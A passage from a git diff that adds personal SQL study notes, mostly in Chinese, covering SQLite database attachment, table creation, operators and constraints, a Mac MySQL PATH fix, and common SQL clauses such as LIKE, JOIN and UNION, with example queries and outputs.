'Alias-Name'; +``` + +如果数据库尚未被创建,上面的命令将创建一个数据库, +如果数据库已存在,则把`数据库文件`名称与`逻辑数据库Alias-Name` 绑定在一起。 + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'TEST'; +sqlite> .database //使用 SQLite .database 命令来显示附加的数据库。 +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db +``` +附加一个现有的数据库 `testDB.db`. +数据库名称 `main` 和 `temp` 被保留用于`主数据库`和存储`临时表`及其他`临时数据对象的数据库`。 +这两个数据库名称可用于每个数据库连接,且不应该被用于附加,否则将得到一个警告消息,如下所示: + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'TEMP'; +Error: database TEMP is already in use +sqlite> ATTACH DATABASE 'testDB.db' as 'main'; +Error: database main is already in use; +``` + +## SQLite 分离数据库 +`DETACH DTABASE` 语句: 用来把命名数据库从一个数据库连接分离和游离出来,连接是之前使用 ATTACH 语句附加的。 +如果同一个数据库文件已经被附加上多个别名,`DETACH` 命令将只断开给定名称的连接,而其余的仍然有效。您无法分离 `main` 或 `temp` 数据库。 +如果数据库是在内存中或者是临时数据库,则该数据库将被摧毁,且内容将会丢失。 + +``` +DETACH DATABASE 'Alias-Name'; +//Alias-Name与之前 ATTACH 语句附加数据库时所用到的别名相同。 +``` + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'test'; +sqlite> ATTACH DATABASE 'testDB.db' as 'currentDB'; + +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db +3 currentDB /home/sqlite/testDB.db + +sqlite> DETACH DATABASE 'currentDB'; + +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db + +//把 'currentDB' 从 testDB.db 中分离出来 +//如果检查当前附加的数据库,testDB.db 仍与 'test' 和 'main' 保持连接。 +``` + +## SQLite 创建表 +`CREATE TABLE` 语句: 用于在任何给定的数据库创建一个新表。 +创建基本表,涉及到命名表、定义列及每一列的数据类型。 + +**语法**: +``` +CREATE TABLE database_name.table_name( + column1 datatype PRIMARY KEY(one or more columns), + column2 datatype, + column3 datatype, + ..... + columnN datatype, +); +``` +CREATE TABLE 是告诉数据库系统创建一个新表的关键字。 +CREATE TABLE 语句后跟着表的唯一的名称或标识。 +您也可以选择指定带有 `table_name` 的 `database_name`。 + + +``` +//创建一个 `COMPANY 表`,`ID` 作为主键,`NOT NULL` 的约束表示在表中创建纪录时这些字段不能为 `NULL`: + +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); + +//让我们再创建一个表,我们将在随后章节的练习中使用: + +sqlite> CREATE TABLE DEPARTMENT( + ID INT PRIMARY KEY NOT NULL, + DEPT CHAR(50) NOT NULL, + EMP_ID INT NOT NULL +); + +sqlite>.tables +COMPANY DEPARTMENT +//这里可以看到我们刚创建的两张表 COMPANY、 DEPARTMENT。 + +//使用 SQLite .schema 命令得到表的完整信息 +sqlite>.schema COMPANY +CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); +``` + +## SQLite 运算符 +SQLite 运算符: 运算符是一个保留字或字符,主要用于 SQLite 语句的 WHERE 子句中执行操作,如比较和算术运算。运算符用于指定 SQLite 语句中的条件,并在语句中连接多个条件。 + +* 算术运算符 +* 比较运算符 +* 逻辑运算符 +* 位运算符 + +### SQLite 算术运算符 +假设变量 a=10,变量 b=20,则: + +| 运算符 | 描述 | 实例 | +| ------ | --------------------------------------- | ----------------- | +| `+` | 加法 - 把运算符两边的值相加 | a + b 将得到 30 | +| `-` | 减法 - 左操作数减去右操作数 | a - b 将得到 -10 | +| `*` | 乘法 - 把运算符两边的值相乘 | a * b 将得到 200 | +| `/` | 除法 - 左操作数除以右操作数 | b / a 将得到 2 | +| `%` | 取模 - 左操作数除以右操作数后得到的余数 | b % a will give 0 | + +``` +sqlite> .mode line +sqlite> select 10 + 20; +10 + 20 = 30 + + +sqlite> select 10 - 20; +10 - 20 = -10 + + +sqlite> select 10 * 20; +10 * 20 = 200 + + +sqlite> select 10 / 5; +10 / 5 = 2 + + +sqlite> select 12 % 5; +12 % 5 = 2 +``` + +### SQLite 比较运算符 +假设变量 a=10,变量 b=20,则: + +| 运算符 | 描述 | 实例 | +| ------ | -------------------------------------------------------------- | ----------------- | +| `==` | 检查两个操作数的值是否相等,如果相等则条件为真。 | (a == b) 不为真。 | +| `= ` | 检查两个操作数的值是否相等,如果相等则条件为真。 | (a = b) 不为真。 | +| `!=` | 检查两个操作数的值是否不相等,如果不相等则条件为真。 | (a != b) 为真。 | +| `<>` | 检查两个操作数的值是否不相等,如果不相等则条件为真。 | (a <> b) 为真。 | +| --- | --- | --- | +| `>` | 检查左操作数的值是否大于右操作数的值,如果是则条件为真。 | (a > b) 不为真。 | +| `<` | 检查左操作数的值是否小于右操作数的值,如果是则条件为真。 | (a < b) 为真。 | +| `>=` | 检查左操作数的值是否大于等于右操作数的值,如果是则条件为真。 | (a >= b) 不为真。 | +| `<=` | 检查左操作数的值是否小于等于右操作数的值,如果是则条件为真。 | (a <= b) 为真。 | +| --- | --- | --- | +| `!<` | 检查左操作数的值是否不小于右操作数的值,如果不小于则条件为真。 | (10 !< 20) 为假。 | +| `!>` | 检查左操作数的值是否不大于右操作数的值,如果不大于则条件为真。 | (a !> b) 为真。 | + +**实例** + +``` +//假设 COMPANY 表有以下记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +``` + +下面的实例演示了各种 SQLite 比较运算符的用法。 + +``` +sqlite> SELECT * FROM COMPANY WHERE SALARY > 50000; +//SELECT 语句列出了 SALARY 大于 50,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY = 20000; +//SELECT 语句列出了 SALARY 等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +3 Teddy 23 Norway 20000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY != 20000; +//下面的 SELECT 语句列出了 SALARY 不等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY <> 20000; +//下面的 SELECT 语句列出了 SALARY 不等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY >= 65000; +//下面的 SELECT 语句列出了 SALARY 大于等于 65,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +``` + +### SQLite 逻辑运算符 +下面是 SQLite 中所有的逻辑运算符列表。 + +| **运算符** | 描述 | +| ---------- | ---------------------------------------------------------------------------------------- | +| `AND` | 允许在一个 SQL 语句的 WHERE 子句中的多个条件的存在。 | +| `EXISTS` | 用于在满足一定条件的指定表中搜索行的存在。 | +| --- | --- | +| `IN` | 用于把某个值与一系列指定列表的值进行比较。 | +| `NOT IN` | IN 运算符的对立面,用于把某个值与不在一系列指定列表的值进行比较。 | +| `BETWEEN` | 用于在给定最小值和最大值范围内的一系列值中搜索值。 | +| --- | --- | +| `LIKE` | 用于把某个值与使用`通配符运算符`的相似值进行比较。 | +| `GLOB` | 用于把某个值与使用`通配符运算符`的相似值进行比较。 | +| -- | **GLOB 与 LIKE 不同之处在于,它是大小写敏感的。** | +| NOT | 是所用的逻辑运算符的对立面。比如 NOT EXISTS、NOT BETWEEN、NOT IN,等等。它是否定运算符。 | +| OR | 用于结合一个 SQL 语句的 WHERE 子句中的多个条件。 | +| IS NULL | NULL 运算符用于把某个值与 NULL 值进行比较。 | +| IS | 与 = 相似。 | +| IS NOT | 与 != 相似。 | +| ` | | ` | 连接两个不同的字符串,得到一个新的字符串。 | +| UNIQUE | 搜索指定表中的每一行,确保唯一性(无重复)。 | + +实例 + +```sql +-- 假设 COMPANY 表有以下记录: +-- ID NAME AGE ADDRESS SALARY +-- ---------- ---------- ---------- ---------- ---------- +-- 1 Paul 32 California 20000.0 +-- 2 Allen 25 Texas 15000.0 +-- 3 Teddy 23 Norway 20000.0 +-- 4 Mark 25 Rich-Mond 65000.0 +-- 5 David 27 Texas 85000.0 +-- 6 Kim 22 South-Hall 45000.0 +-- 7 James 24 Houston 10000.0 + +sqlite> +SELECT * FROM COMPANY + WHERE AGE >= 25 + AND SALARY >= 65000; +-- // SELECT 语句列出了 AGE 大于等于 25 且工资大于等于 65000.00 的所有记录: +-- ID NAME AGE ADDRESS SALARY +-- ---------- ---------- ---------- ---------- ---------- +-- 4 Mark 25 Rich-Mond 65000.0 +-- 5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE >= 25 OR SALARY >= 65000; +// SELECT 语句列出了 AGE 大于等于 25 或工资大于等于 65000.00 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE IS NOT NULL; +//SELECT 语句列出了 AGE 不为 NULL 的所有记录, +//结果显示所有的记录,意味着没有一个记录的 AGE 等于 NULL: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE NAME LIKE 'Ki%'; +//SELECT 语句列出了 NAME 以 'Ki' 开始的所有记录,'Ki' 之后的字符不做限制: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +6 Kim 22 South-Hall 45000.0 + +sqlite> SELECT * FROM COMPANY WHERE NAME GLOB 'Ki*'; +//SELECT 语句列出了 NAME 以 'Ki' 开始的所有记录,'Ki' 之后的字符不做限制: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +6 Kim 22 South-Hall 45000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE IN ( 25, 27 ); +//SELECT 语句列出了 AGE 的值为 25 或 27 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + + +sqlite> SELECT * FROM COMPANY WHERE AGE NOT IN ( 25, 27 ); +//SELECT 语句列出了 AGE 的值既不是 25 也不是 27 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +3 Teddy 23 Norway 20000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE BETWEEN 25 AND 27; +//SELECT 语句列出了 AGE 的值在 25 与 27 之间的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT AGE FROM COMPANY + WHERE EXISTS (SELECT AGE FROM COMPANY WHERE SALARY > 65000); +//SELECT 语句使用 SQL 子查询, +//子查询查找 SALARY > 65000 的带有 AGE 字段的所有记录, +//后边的 WHERE 子句与 EXISTS 运算符一起使用,列出了外查询中的 AGE 存在于子查询返回的结果中的所有记录: +AGE +---------- +32 +25 +23 +25 +27 +22 +24 + + +sqlite> SELECT * FROM COMPANY + WHERE AGE > (SELECT AGE FROM COMPANY WHERE SALARY > 65000); +//SELECT 语句使用 SQL 子查询, +//子查询查找 SALARY > 65000 的带有 AGE 字段的所有记录,后边的 WHERE 子句与 > 运算符一起使用,列出了外查询中的 AGE 大于子查询返回的结果中的年龄的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +``` + +--- + +### SQLite 位运算符 + +位运算符作用于位,并逐位执行操作。真值表 `&`, `| `, `~` : + +``` +0&0=0 +1&0=0 +0&1=0 +1&1=1 + +0|0=0 +1|0=1 +0|1=1 +1|1=1 + +~0=1 +~1=0 + +假设如果 A = 60,且 B = 13,现在以二进制格式,它们如下所示: +A = 0011 1100 +B = 0000 1101 +----------------- +A&B = 0000 1100 +A|B = 0011 1101 +~A = 1100 0011 +``` + +下表中列出了 SQLite 语言支持的位运算符。假设变量 A=60,变量 B=13,则: + +| 运算符 | 描述 | +| ----------------------- | ---------------------------------------------------------------- | +| **& 二进制 AND 运算符** | 如果同时存在于两个操作数中,二进制 AND 运算符复制一位到结果中 | +| --- | (A & B) 将得到 12,即为 0000 1100 | +| ** | 二进制 OR 运算符** | 如果存在于任一操作数中,二进制 OR 运算符复制一位到结果中 | +| --- | (A | B) 将得到 61,即为 0011 1101 | +| **~ 二进制补码运算符** | 一元运算符,具有"翻转"位效应,即0变成1,1变成0。 | +| --- | A = 0011 1100 | +| --- | (~A ) 将得到 -61,即为 1100 0011,一个有符号二进制数的补码形式。 | +| **<< 二进制左移运算符** | 二进制左移运算符。左操作数的值向左移动右操作数指定的位数。 | +| --- | A = 0011 1100 | +| --- | A << 2 将得到 240,即为 1111 0000 | +| **>> 二进制右移运算符** | 左操作数的值向右移动右操作数指定的位数。 | +| --- | A = 0011 1100 | +| --- | A >> 2 将得到 15,即为 0000 1111 | + +``` +实例 + +sqlite> .mode line +sqlite> select 60 | 13; +60 | 13 = 61 + +sqlite> select 60 & 13; +60 & 13 = 12 + +sqlite> select (~60); +(~60) = -61 + +sqlite> select (60 << 2); +(60 << 2) = 240 + +sqlite> select (60 >> 2); +(60 >> 2) = 15 +``` + + +## SQLite 高级教程 +SQLite PRAGMA +### SQLite 约束 +* **约束**: + * 在表的数据列上强制执行的规则。 + * 用来限制可以插入到表中的数据类型。这确保了数据库中数据的准确性和可靠性。 + * 约束可以是列级或表级。*列级*约束仅适用于列,*表级*约束被应用到整个表。 +以下是在 SQLite 中常用的约束。 +##### SQL **Not null** 约束 +* `NOT NULL` 约束 + * 默认情况下,*列*可以保存 NULL 值。 + * 强制*列*不接受 NULL 值。 + * 强制字段始终包含值。如果不向字段添加值,就无法插入新记录或者更新记录。 + * NULL 与没有数据是不一样的,它代表着未知的数据。 +#### SQL Primary KEY 约束 +* **PRIMARY KEY** + * 约束唯一标识数据库表中的每个记录。 + * 在一个表中可以有多个 UNIQUE 列,但只能有一个主键。在设计数据库表时,主键是很重要的。主键是唯一的 ID。 + * 我们使用主键来引用表中的行。可通过把主键设置为其他表的外键,来创建表之间的关系。 + * 由于"长期存在编码监督",在 SQLite 中,主键可以是 NULL,这是与其他数据库不同的地方。 + * 主键是表中的一个字段,唯一标识数据库表中的各行/记录。主键必须包含唯一值。主键列不能有 NULL 值。 + * 一个表只能有一个主键,它可以由一个或多个字段组成。当多个字段作为主键,它们被称为复合键。 + * 如果一个表在任何字段上定义了一个主键,那么在这些字段上不能有两个记录具有相同的值。 + + +#### SQL Foreign KEY 约束 +#### DEFAULT 约束:当某列没有指定值时,为该列提供默认值。 +#### UNIQUE 约束:确保某列中的所有值是不同的。 +* **UNIQUE** + * 约束防止在一个特定的列存在两个记录具有相同的值。 + * 在 COMPANY 表中,例如,您可能要防止两个或两个以上的人具有相同的年龄。 + + +#### CHECK 约束:CHECK 约束确保某列中的所有值满足一定条件。 +SQLite Join +SQLite Unions 子句 +SQLite 别名 +SQLite 触发器 +SQLite 索引 +SQLite Indexed By +SQLite Alter 命令 +SQLite Truncate Table +SQLite 视图 +SQLite 事务 +SQLite 子查询 +SQLite Autoincrement +SQLite 注入 +SQLite Explain +SQLite Vacuum +SQLite 日期 & 时间 +SQLite 常用函数 + +## SQLite 接口 +SQLite - C/C++ +SQLite - Java +SQLite - PHP +SQLite - Perl +SQLite - Python + +# SQL 安装问题 + +## Mac安装mysql问题之-bash: mysql: command not found +mysql -u root -p +-bash: mysql: command not found + +解决方法: + +* 在你的Mac终端,输入: `cd ~` //进入~文件夹 +* 然后输入:`touch .bash_profile` +* 回车执行后, +* 再输入:`open -e .bash_profile` +* 这时候会出现一个TextEdit,如果以前没有配置过环境变量,呈现在你眼前的就是一个空白文档,你需要在这个空白文档里输入:`export PATH=$PATH:/usr/local/mysql/bin` +* 然后关闭这个TextEdit +* 回到终端面板,输入:`source ~/.bash_profile` + +以上,问题解决 + +再输入:mysql -u root -p +回车后就会显示:Enter password: +正确输入你的密码 diff --git a/_posts/00CodeNote/language/SQL/SQL.0.3.clause.md b/_posts/00CodeNote/language/SQL/SQL.0.3.clause.md new file mode 100644 index 00000000000..d42bc03bb37 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/SQL.0.3.clause.md @@ -0,0 +1,537 @@ +# SQL + +[TOC] + +--- + +# give specific output + +--- + +## GLOB 子句: +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE column_name GLOB { PATTERN }; + +SQL> SELECT * + FROM table_name + WHERE column_name GLOB { PATTERN }; + + SELECT DISTINCT column_name,column_name + FROM table_name; +``` + +```sql +// example +SELECT DISTINCT country FROM Websites; + +// SELECT studentNO FROM student WHERE 0 // false, return null +// SELECT studentNO FROM student WHERE 1 // true, return all +// SELECT * FROM Websites WHERE country='CN'; +// SELECT * FROM Websites WHERE id=1; +// Select * from emp where comm is null; +// Select * from emp where sal > 2000 and sal < 3000; +// Select * from emp where sal > 2000 or comm > 500; +SELECT * FROM Websites +WHERE alexa > 15 +AND (country='CN' OR country='USA'); +// select * from emp where not sal > 1500; +// Select * from emp where sal between 1500 and 3000; +// SELECT * FROM emp where sal NOT BETWEEN 1 AND 20; +// Select * from emp where sal in (5000,3000,1500); +// SELECT * FROM Websites WHERE (alexa BETWEEN 1 AND 20) AND country NOT IN ('USA', 'IND'); +// SELECT * FROM Websites WHERE name BETWEEN 'A' AND 'H'; +// SELECT * FROM Websites WHERE name NOT BETWEEN 'A' AND 'H'; +// Select * from emp where ename like 'M%'; +``` + +--- + +## ORDER BY + +```sql +SQL> SELECT column_name,column_name + FROM table_name + ORDER BY column_name,column_name ASC|DESC 降序; +``` + +```sql +// example: +SELECT * FROM Websites +ORDER BY alexa; + +SELECT * FROM Websites +ORDER BY country, alexa; + +order by A,B // 都是默认按升序排列 +order by A desc,B // A 降序,B 升序排列 +order by A ,B desc // A 升序,B 降序排列 +``` + +--- + +## GROUP BY 子句: +```sql +SQL> SELECT SUM(column_name) + FROM table_name + WHERE CONDITION + GROUP BY column_name; +``` + +* AVG(): finds the average value of *numeric attribute* +* MIN(): finds the minimum value of *string/numeric attribute* +* MAX(): finds the maximum value of *string/numeric attribute* +* SUM(): finds the sum total of a *numeric attribute* +* COUNT(): counts the number of rows in a set. + +--- + +## HAVING 子句: +```sql +SQL> SELECT SUM(column_name) + FROM table_name + WHERE CONDITION + GROUP BY column_name + HAVING (arithematic function condition); +``` +The `HAVING` clause can do the same thing as `WHERE` clause + +* SELECT FID, Name FROM Faculty +* HAVING Rank = 'Professor'; + +* SELECT FID, Name FROM Faculty +* WHERE Rank = 'Professor'; +/generate the same output, +/but the WHERE clause provides a better performance + +`HAVING` clause ually used with GROUP BY, can include aggregate functions (previous page) + +--- + +## SELECT TOP, LIMIT, ROWNUM 子句 +// 用于规定要返回的记录的数目。 +// 对于拥有数千条记录的大型表来说,非常有用。 + +注意:并非所有的数据库系统都支持 SELECT TOP 语句。 +- MySQL 支持 LIMIT 语句来选取指定的条数数据, +- Oracle 可以使用 ROWNUM 来选取。 + +```sql +SQL Server / MS Access 语法 +SELECT TOP number|percent column_name(s) +FROM table_name; + +MySQL 语法 +SELECT column_name(s) +FROM table_name +LIMIT number; + +Oracle 语法 +SELECT column_name(s) +FROM table_name +WHERE ROWNUM <= number; +``` + +```sql +// example +SELECT * FROM Persons LIMIT 5; +SELECT * FROM Persons WHERE ROWNUM <=5; +SELECT TOP 50 PERCENT * FROM Websites; +SELECT TOP 5 * from table +SELECT TOP 5 * from table order by id desc +// desc 表示降序排列 asc 表示升序 +``` + +--- + +## Like 子句: +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE column_name LIKE PATTERN%; +``` + +```sql +//example +SELECT * FROM Websites WHERE name LIKE 'G%'; +``` + +*case sensitive* + +* `LIKE` 'Toyota`%`'; /*start with Toyota* +* `LIKE` '`%`0'; /*end with 0* +* `LIKE` '`%`RX4`%`' /*contain RX$* +* `NOT LIKE` '`%`RX4`%`' /*do NOT match the pattern* +* `LIKE` '[CK]ars[eo]n' 将搜索下列字符串:Carsen、Karsen、Carson 和 Karson(如 Carson)。 +* `LIKE` '[M-Z]inger' 将搜索以字符串 inger 结尾、以从 M 到 Z 的任何单个字母开头的所有名称(如 Ringer)。 +* `LIKE` 'M[^c]%' 将搜索以字母 M 开头,并且第二个字母不是 c 的所有名称(如MacFeather)。 + +### SQL 通配符 + +| 通配符 | 描述 | +| ----------------------- | ---------------------- | +| % | 替代 0 个或多个字符 | +| _ | 替代一个字符 | +| [charlist] | 字符列中的任何单一字符 | +| ^[charlist] | start with | +| [^charlist] [!charlist] | no exist | + + +```sql +SELECT * FROM Websites WHERE name LIKE 'G_o_le'; + +// MySQL 用 REGEXP / NOT REGEXP (RLIKE / NOT RLIKE) 来操作正则表达式。 +SELECT * FROM Websites WHERE name REGEXP '^[GFs]'; +SELECT * FROM Websites WHERE name REGEXP '^[A-H]'; // 以 A-H 字母开头 +SELECT * FROM Websites WHERE name REGEXP '^[^A-H]'; // 不以 A-H 字母开头 + + +``` + +--- + +# change the table data + +## INSERT INTO 语句 + +```SQL +SQL> INSERT INTO table_name // 没有指定插入数据的列名的形式需要列出插入行的每一列数据 + VALUES (value1,value2,value3,...); + + INSERT INTO table_name (column1,column2,column3,...) + VALUES (value1,value2,value3,...); +``` + +```sql +//Examples ++----+--------------+---------------------------+-------+---------+ +| id | name | url | alexa | country | ++----+--------------+---------------------------+-------+---------+ +| 1 | Google | https://www.google.cm/ | 1 | USA | + +INSERT INTO Websites (name, url, alexa, country) +VALUES ('百度','https://www.baidu.com/','4','CN'); + +INSERT INTO Websites (name, url, country) // other will be 0 +VALUES ('stackoverflow', 'https://stackoverflow.com/', 'IND'); + +``` + +--- + +## UPDATE 语法 + +```sql +SQL> UPDATE table_name + SET column1=value1,column2=value2,... + WHERE some_column=some_value; + +// 如果省略 WHERE 子句,所有的记录都将被更新! +``` + + +```sql +//Examples ++----+--------------+---------------------------+-------+---------+ +| id | name | url | alexa | country | ++----+--------------+---------------------------+-------+---------+ +| 1 | Google | https://www.google.cm/ | 1 | USA | + +UPDATE Websites +SET alexa='5000', country='USA' +WHERE name='菜鸟教程'; + +``` + +--- + +## DELETE 语法 +```sql +SQL> DELETE FROM table_name + WHERE some_column=some_value; + +//如果省略了 WHERE 子句,所有的记录都将被删除! + + +// 删除所有数据 +// 在不删除表的情况下,删除表中所有的行。 +// 表结构、属性、索引将保持不变: + +SQL> DELETE FROM table_name; +SQL> DELETE * FROM table_name; +``` + + +```sql +//Examples ++----+--------------+---------------------------+-------+---------+ +| id | name | url | alexa | country | ++----+--------------+---------------------------+-------+---------+ +| 1 | Google | https://www.google.cm/ | 1 | USA | + +DELETE FROM Websites +WHERE name='Facebook' AND country='USA'; + +``` + +--- + +# return boolean + + +## IN 子句: +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE column_name IN (val-1, val-2,...val-N); +``` + +```sql +SELECT column_name(s) FROM table_name +WHERE column_name IN (value1,value2,...); += +SELECT column_name(s) FROM table_name +WHERE column_name=value1; + +``` + +--- + +## NOT IN 子句: + +![sql-join](https://i.imgur.com/ngKCsn7.png) + +```sql +SQL> SELECT column1, column2....columnN + FROM table_name + WHERE column_name NOT IN (val-1, val-2,...val-N); +``` + +--- + +## JOIN 子句 +combine rows from tables based on common field. + +```sql + +1. both side has the same value + +SQL> SELECT columnA1, columnA2, columnB1, columnB2... + FROM TableA + JOIN TableB (= INNER JOIN TableB) + ON tableA.column_name=tableB.column_name; + + +2. all data in table1, match data/Null in table 2 + +SQL> SELECT column_name(s) + FROM table1 + LEFT JOIN table2 (= LEFT OUTER JOIN table2) + ON table1.column_name=table2.column_name; + + +3. all data in table2, match data/Null in table 1 + +SQL> SELECT column_name(s) + FROM table1 + RIGHT JOIN table2 (= RIGHT OUTER JOIN table2) + ON table1.column_name=table2.column_name; + +4. all data in tables, match each other with data/Null +SQL> SELECT column_name(s) + FROM table1 + FULL JOIN table2 (= FULL OUTER JOIN table2) + ON table1.column_name=table2.column_name; +``` + +1. `INNER JOIN`: 如果表中有至少一个匹配,则返回行 +2. `LEFT JOIN`: Return all rows from the left table, and the matched rows from the right table. 即使右表中没有匹配,也从左表返回所有的行 +3. `RIGHT JOIN`: Return all rows from the right table, and the matched rows from the left table.即使左表中没有匹配,也从右表返回所有的行 +4. `FULL JOIN`: Return all rows when there is a match in ONE of the tables.只要其中一个表中存在匹配,则返回行. 结合了 LEFT JOIN 和 RIGHT JOIN 的结果。 + +--- + +## MINUS +返回存在于A表中,但不存在于B表中的数据。 +```sql +SQL> SELECT  COL1,COL2 + FROM TABLE_A  [ WHERE conditions ] + MINUS + SELECT COL1 , COL2 + FROM TABLE_B [ WHERE conditions]。 +``` +Oracle 数据库支持 MINUS 用法,SQL Server, PostgreSQL, and SQLite 可以使用Except代替 + +--- + +## UNION 操作符 +合并两个或多个 SELECT 语句的结果集。 +- 每个 SELECT 语句必须拥有相同数量的列。 +- 列也必须拥有相似的数据类型。 +- 每个 SELECT 语句中的列的顺序必须相同。 + +```sql +SELECT column_name(s) FROM table1 +UNION +SELECT column_name(s) FROM table2; +// 默认 UNION 操作符选取不同的值。 + + +// 如果允许重复的值 UNION ALL +SELECT column_name(s) FROM table1 +UNION ALL +SELECT column_name(s) FROM table2; +``` + +```sql +//Examples +SELECT country FROM Websites +UNION +SELECT country FROM apps +ORDER BY country; +``` + +--- + +# comparison + +## NULL +* To check whether a value is NULL or not in MySQL, +* we can use `IS NULL` or `IS NOT NULL` +``` +SELECT * FROM Section +WHERE Room IS NULL; +``` + + +## Relational Algebra - Examples +* A X B X C, 要标注 where 条件 and key一一对应 + +1. example + + `Π`course.MCode, Course.Cno, Schedule, Room, Credit +(`σ`SID = "625018" (Enrollment `X` Section `X` Course)) + +```sql +SQL> SELECT C.MCode, C.CNo, Credit, Schedule, Room + FROM Enrollment E, Section S, Course C + WHERE E.SID='20000006' + AND E.CallNo=S.CallNo AND S.MCode=C.MCode AND S.CNo=C.CNo; +``` + +2. SID + + SID --- `Π`SID(Student) - `Π`SID(Transcript) +`Π`Student.SID,Name (SID Student)) + +```sql +SQL> SELECT SID, Name FROM Student + WHERE SID IN ( ) + SELECT SID FROM Student + MINUS SELECT SID FROM Transcript; +``` + +3. group + + SC -- `SID`G`sum(Credit)(Transcript `X` Course)`Π`SC.SID,Name `σ`sum(Credit) >= 6 (SC `X` Student)) + +```sql +SQL> SELECT S.SID, S.Name, SUM(Credit) + FROM Student S, Transcript T, Course C + WHERE S.SID=T.SID AND T.MCode=C.Mcode AND T.CNo= C.Cno + GROUP BY S.SID + HAVING SUM(Credit)>=6; +``` + + +--- + +# table + +## SQL 别名 +为表名称或列名称指定别名。 +- 在查询中涉及超过一个表 +- 在查询中使用了函数 +- 列名称很长或者可读性差 +- 需要把两个列或者多个列结合在一起 + +```sql +// 列别名 +SELECT column_name AS alias_name FROM table_name; +// 表别名 +SELECT column_name(s) FROM table_name AS alias_name; +``` + + +```sql ++----+--------------+---------------------------+-------+---------+ +| id | name | url | alexa | country | ++----+--------------+---------------------------+-------+---------+ +| 1 | Google | https://www.google.cm/ | 1 | USA | + +SELECT name AS n, country AS c FROM Websites; + ++--------------+---------+ +| n | c | ++--------------+---------+ +| Google | USA | + + +SELECT name, CONCAT(url, ', ', alexa, ', ', country) AS site_info FROM Websites; + + +SELECT w.name, w.url, a.count, a.date +FROM Websites AS w, access_log AS a +WHERE a.site_id=w.id and w.name="菜鸟教程"; += +SELECT Websites.name, Websites.url, access_log.count, access_log.date +FROM Websites, access_log +WHERE Websites.id=access_log.site_id and Websites.name="菜鸟教程"; + + +join more tables: + +SELECT SID, C.MCode, C.Cno, C.Title +FROM Enrollment E, Section S, Course C +WHERE E.CallNo = S.CallNo AND S.Mcode = C.MCode AND S.CNo = C.CNo +ORDER BY SID + +``` + + +--- + +## oracle修改Table的主键的方法 + +```sql +第一步:增加列key_no +SQL> ALERT TABLE table_name ADD key_no 